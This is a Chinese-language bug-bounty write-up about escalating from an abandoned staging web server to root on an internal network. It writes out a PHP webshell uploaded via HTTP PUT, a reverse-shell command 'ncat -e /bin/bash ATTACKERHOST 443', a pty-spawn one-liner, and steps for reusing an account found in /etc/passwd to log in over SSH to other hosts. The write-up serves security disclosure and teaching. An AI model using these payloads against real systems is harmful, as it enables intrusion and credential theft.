我是如何通过命令执行到最终获取内网Root权限的
简介
此前我曾发表过一篇ltr101的文章,这是我该系列的第二篇。本文我将为大家展示最近我在赏金计划中,发现的一个非常cool的漏洞。以及我是如何通过一个废弃的Web服务器实现远程执行代码的,并最终成功渗透目标内网获取到有价值信息的。
你的子域名叫什么?
这一切都是从信息侦察开始的查找子域,解析为IP然后查看端口。不过这一次,我发现了一个较为奇怪的主机名,并有一个应用程序正运行在64351端口上。这并不是我们平时常见的web端口,需要我们进行权全端口的扫描才能发现。该域名类似于以下(出于保密原因,其中省略了该公司信息):
fast.force.staging.intcorp.yoda.domain.com
对于这个域名我的脑海中蹦出了以下猜测:
- 1)这是除admin,vpn,email等以外的唯一一个域
- 2)故意提到intcorp引起我的兴趣
- 3)这不是子域的平均长度
- 4) fast force staging intcorp yoda可能都是随机产生的!
根据我的想法,我解析了该域名并成功获取到了一个IP,但通过浏览器打开发现没有返回任何信息,我决定利用nmap来对它进行端口扫描:
nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa
不一会儿扫描结果就出来了如下:
Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)
Host is up (0.082s latency).
Not shown: 979 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
25/tcp closed smtp?
80/tcp closed http
81/tcp closed hosts2-ns
90/tcp open http?
64351/tcp open http
2 services unrecognised despite returning data.
最初我在端口为64351的应用程序web根目录中发现了一些奇怪的文件,并且每个文件都包含了不同名称的phpinfo文件。
想要将自定义的文件上传到该目录,通常我们会利用文件上传等功能。但在这里我没有找到任何像远程文件上传的地方,因此我只能老套的针对学校攻击的HTTP方法。
HTTP 动词/方法
无论是HTTP动词/方法,本质上它们都是在向服务器或应用程序发出请求。最常见的两个用于下载和上传数据到应用程序的请求方法是GET和POST。这里我将向端口为64351的服务器发送一个OPTIONS请求,以获取服务器支持的HTTP请求方法。
从响应结果来看该应用程序接受GET,POST,HEAD以及PUT方法。前三个都很普通,但PUT请求相对较少。
PUT
我设法利用PUT方法将文件写入到webroot下名为test的文件夹中,这样我就可以将编写的任意文件上传至服务器根目录下,同时我猜测之前发现的phpinfo文件应该也是利用PUT方法被上传的。我快速浏览了我的webshell再次找到了phpinfo文件:
所以通过PUT方法,我上传了一个简单的PHP webshell,其代码如下:
<?php
if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]);system($cmd);echo "</pre>$cmd<pre>";die;
}
?>
这段代码首先从cmd参数接收输入命令,然后以系统命令执行。PUT请求成功,并且我们也成功获取到了一个shell如下所示:
为了获取到更多的信息,我尝试将webshell转换为netcat的反向shell。很幸运!这个服务器似乎都具备了netcat ncat的访问。
使用以下命令我连接到了服务器侦听端,这里我花了很长时间来确定连接端口,最终确定为443,因为服务器允许访问该端口。
webshell命令:
ncat -e /bin/bash ATTACKERHOST 443
服务器侦听端命令:
ncat -l -v -p 443
接着通过python one-liner我获得了一个交互式的bash shell:
python -c 'import pty; pty.spawn("/bin/bash")'
深入挖掘
既然已经获取到了一个交互式的shell,接下来我决定围绕操作系统进一步的探索。很快,我在/tmp/CorpNet目录下发现了一个引起我注意的文件夹,该文件夹下包含了以下三个其它文件夹:
- CorpVPNKeys
- CorpZT
- CitrixCorp
在这些文件夹中我挖掘到了一些非常有用的文件,其中包括一个包含整个域的内部区域传输的文件。
查找其他主机
通过区域传输文件中的信息,我发现内部主机名与我已经发现的原始主机名类似,如下:
- staging.intcorp.jawa.domain.com 10.0.1.1
- staging.internal.sith.domain.com 10.0.1.3
- internal.vader.domain.com 10.2.1.13
看起来这个网络的系统管理员是一个星球大战的粉丝!有许多其他主机共享了星战命名方案。因为主机可以访问ncat和nmap,因此我决定在这个阶段做一些端口扫描。我尝试对10.0.1.0/24这个网段进行了扫描,以发现其它有趣的主机。
一个快速的nmap -F 10.0.1.0/24扫描,从最终返回的结果我发现了一些非常有趣的端口。其中包括一台应该是windows机器开启的远程桌面连接端口:3389,445,135,137,1433,2433。对于一个内部网络,RDP和SMB的开放并不鲜见。
原本我想通过nmap脚本来继续探索更多的信息,但是由于当前服务器上的nmap版本并不支持nmap脚本,因此出现了 错误。
到此阶段我决定发邮件提醒该公司我发现的问题,并询问我是否可以继续挖掘,我收到了一个非常快速简明的回复:
“感谢您提醒我们,你能深入到什么程度,我们确信我们的内部网络是安全的。”
既然都这么说了,那么我就接受挑战!
接受挑战
由于我并没有获取到任何用户的哈希值或密码,因此接下来我将尝试是否可以目录遍历。我使用cat命令查看了passwd文件,其中的一个名为emperor的用户以及他的UID引起了我的注意:
emperor:x:0:1002:SPalpatine:/home/emperor:/bin/bash
从星球大战的主机名判断,该用户名似乎也是引用了星战的名称,且UID似乎为root用户。
不敢相信我的运气! 因为内部网络中还有其他几台主机,我猜想它们可能使用了相同的凭证登录,打开SSH,尝试使用emperor账户连接它们。
额外奖金
在经过登录凭证的尝试,我成功连接到了internal.vader.domain.com主机, 并且emperor在这个主机上也是root权限。
这使我能够从这个主机上转储哈希值并对其进行破解,另外我发现根私钥被用作在原始主机发现的VPN证书的主密钥。在这个阶段,我再次向该公司写了一份测试报告,其中包括了以下几个问题:
- 危险的HTTP方法导致远程执行代码
- 敏感文件被存储在文件系统并且所有用户可读
- root用户密码在/etc/passwd下直接曝露
- /etc/shadow下的密码加密采用的是弱哈希算法
小结
从单一的层面看,起初这只是一个目录权限和身份验证的问题,但这使我成功上传了webshell。虽然刚开始的权限并不大,但通过进一步的深入挖掘和利用,我们逐渐将战果扩大到了内网并最终获取到了root权限。可见一个小小的失误,都将给公司企业带来重大的安全问题。作为系统管理员应该避免将密码设置与主机名或用户相关,否则这将是非常危险的。目前该公司已经修复了该问题,并向我表达了感谢!
*参考来源:zsec,FB小编 secist 编译,转载来自FreeBuf.COM
我是如何通过命令执行到最终获取内网Root权限的相关推荐
- proxychains代理扫描并获取内网服务器权限
Proxychains Proxychains是为了GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4,SOCKS5,HTTP/HTTPS路由到目的地.在这个通道技 ...
- 谷歌VirusTotal开源组件曝高危漏洞,可获取内网访问权限
如漏洞遭利用,可导致攻击者不仅访问受谷歌控制的环境,还可以高权限访问50多个内部主机. 安全研究员在 VirusTotal 平台上发现了一个严重漏洞,可被用于实现远程代码执行 (RCE). 该漏洞已修 ...
- Android 命令su,获取Android的ROOT权限其实很简单,只要在Runtime下执行命令su就可以了。复制代码 代码如下:// 获取ROOT权限public void...
获取Android的ROOT权限其实很简单,只要在Runtime下执行命令"su"就可以了. // 获取ROOT权限 public void get_root(){ if (is_ ...
- python --获取内网IP地址
方法一 import socketdef get_local_ip_address():ip_address = ''try:# 获取本机主机名hostname = socket.gethostnam ...
- root权限获取排行榜,root权限软件排行榜
VIVOX7的root权限怎么获取? vivo手机是不可以获取root的,建议不要轻易将手机root. ROOT是一种存在于UNIX系统(如AIX.BSD等)和类UNIX系统(如大名鼎鼎的Linux, ...
- python脚本获取内网,公网ip
2019独角兽企业重金招聘Python工程师标准>>> 获取内网ip: get_inner_ipaddr.py #!/usr/bin/env python import socket ...
- linux下获取本机的获取内网和外网地址
1.获取内网地址(私有地址) ifconfig -a 2.获取外网地址(公网地址) curl members.3322.org/dyndns/getip 转载于:https://www.cnblogs ...
- js获取内网/局域网ip地址,操作系统,浏览器版本等信息
这次呢,说一下使用js获取用户电脑的ip信息,刚开始只是想获取用户ip,后来就顺带着获取了操作系统和浏览器信息. 先说下获取用户ip地址,包括像ipv4,ipv6,掩码等内容,但是大部分都要根据浏览器 ...
- python获取内网IP和外网IP的方法
1.获取内网IP 示例代码: import socket# 获取内网IP s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect( ...
最新文章
- 机器人也需要拥有属于自己的性格
- java spring boot缓存_Springboot对缓存的支持
- mysql的优化——索引介绍
- express+mongodb+vue实现增删改查-全栈之路
- leetcode 380. Insert Delete GetRandom O(1) | 380. O(1) 时间插入、删除和获取随机元素(Java)
- css怎么把横向菜单变纵向_CSS 布局模式 + 居中布局
- 利用Java进行MySql数据库的导入和导出
- 云原生应用 Kubernetes 监控与弹性实践
- 零基础入门语义分割-Task6 分割模型模型集成
- java中的BigInteger
- jdk从1.8降到1.7的办法
- 分层模式下的Lazy Load ——探索Domain Model系列(下)--转
- uniapp获取当前城市编号和信息
- html控制萤石云摄像头转动,萤石云摄像头直播带云台控制代码
- [译] APT分析报告:07.拉撒路(Lazarus)使用的两款恶意软件分析
- python绘制世界人口地图
- 修复下载后已发生损坏的压缩包(.rar)文件
- SEO优化之浅谈蜘蛛日志
- 中国大数据分析行业研究报告
- 连接查询之内连接(等值连接、非等值连接和自连接)
热门文章
- Landsat 7两个热红外波段B61和B62的区别与应用时的选择方法
- 关于MQTT协议实现消息推送系统
- 计算机专业srtp项目选题,我都大二了,才知道什么是SRTP
- ubuntu双系统时间同步_解决Ubuntu19.10和windows双系统时间同步问题方法
- NPU算力集成解决方案
- 商户后台返回数据签名错误_微信小程序 用户信息开放数据校验与解密
- 夺命雷公狗—玩转SEO---4---什么是展现量和点击率
- 【NLP】第7章 使用 GPT-3 引擎的Suprahuman Transformers的崛起
- KMPlayer播放m2ts 格式文件
- Java6、7章复习 5.4